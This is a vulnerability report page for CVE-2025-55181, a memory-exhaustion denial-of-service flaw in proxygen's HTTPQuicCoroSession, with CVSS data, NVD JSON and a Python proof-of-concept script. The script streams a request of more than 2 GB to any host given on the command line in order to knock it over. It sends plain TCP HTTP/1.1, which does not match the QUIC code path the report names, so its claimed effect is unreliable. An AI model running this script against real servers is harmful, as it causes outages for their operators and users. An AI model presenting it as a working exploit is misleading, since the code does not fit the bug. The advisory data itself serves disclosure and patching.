Security Vulnerability Report
中文
CVE-2025-55181 CVSS 5.3 MEDIUM

CVE-2025-55181

Published: 2025-12-02 22:16:08
Last Modified: 2025-12-19 18:02:26

Description

Sending an HTTP request/response body with greater than 2^31 bytes triggers an infinite loop in proxygen::coro::HTTPQuicCoroSession which blocks the backing event loop and unconditionally appends data to a std::vector per-loop iteration. This issue leads to unbounded memory growth and eventually causes the process to run out of memory.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:facebook:proxygen:*:*:*:*:*:*:*:* - VULNERABLE
Facebook proxygen < commit 17689399ef99b7c3d3a8b2b768b1dba1a4b72f8f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-55181 PoC - proxygen HTTPQuicCoroSession DoS # Description: Send HTTP request body > 2^31 bytes to trigger infinite loop import socket import time def create_malicious_request(): # Create HTTP request with body size > 2^31 bytes headers = ( "POST /upload HTTP/1.1\r\n" "Host: target.example.com\r\n" "Content-Length: 2147483648\r\n" # 2^31 bytes "\r\n" ) return headers.encode() def exploit(target_host, target_port=443): """Send malicious HTTP request to trigger vulnerability""" print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Sending HTTP request with body > 2^31 bytes...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_host, target_port)) # Send malicious request sock.sendall(create_malicious_request()) # Send partial body data chunk_size = 1024 * 1024 # 1MB chunks chunk = b'X' * chunk_size for i in range(2048): # Send 2GB total try: sock.sendall(chunk) if i % 100 == 0: print(f"[*] Sent {(i+1) * chunk_size / (1024*1024):.1f} MB") except: break print("[+] Request sent - target may be experiencing DoS") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443) else: print("Usage: python3 cve-2025-55181_poc.py <target_host> [port]")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55181", "sourceIdentifier": "[email protected]", "published": "2025-12-02T22:16:08.380", "lastModified": "2025-12-19T18:02:26.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sending an HTTP request/response body with greater than 2^31 bytes triggers an infinite loop in proxygen::coro::HTTPQuicCoroSession which blocks the backing event loop and unconditionally appends data to a std::vector per-loop iteration. This issue leads to unbounded memory growth and eventually causes the process to run out of memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-834"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook:proxygen:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.08.25.00", "versionEndIncluding": "2025.12.01.00", "matchCriteriaId": "04739A4D-B1C7-4118-BFA2-0ED356D20275"}]}]}], "references": [{"url": "https://github.com/facebook/proxygen/commit/17689399ef99b7c3d3a8b2b768b1dba1a4b72f8f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.facebook.com/security/advisories/cve-2025-55181", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}